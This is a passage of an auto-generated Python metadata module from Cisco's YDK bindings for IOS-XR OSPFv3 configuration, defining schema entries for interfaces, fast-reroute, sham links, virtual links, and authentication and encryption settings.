'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an
interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces',
False,
[
_MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface',
[], [],
''' OSPFv3 interface
''',
'interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope',
False,
[
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.AreaScope.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-scope',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink',
False,
[
_MetaInfoClassMember('destination-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Remote sham-link endpoint
''',
'destination_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Local sham-link endpoint
''',
'source_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable sham link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks',
False,
[
_MetaInfoClassMember('sham-link', REFERENCE_LIST, 'ShamLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink',
[], [],
''' ShamLink local and remote endpoints
''',
'sham_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink',
False,
[
_MetaInfoClassMember('virtual-link-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Router ID of virtual link neighbor
''',
'virtual_link_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
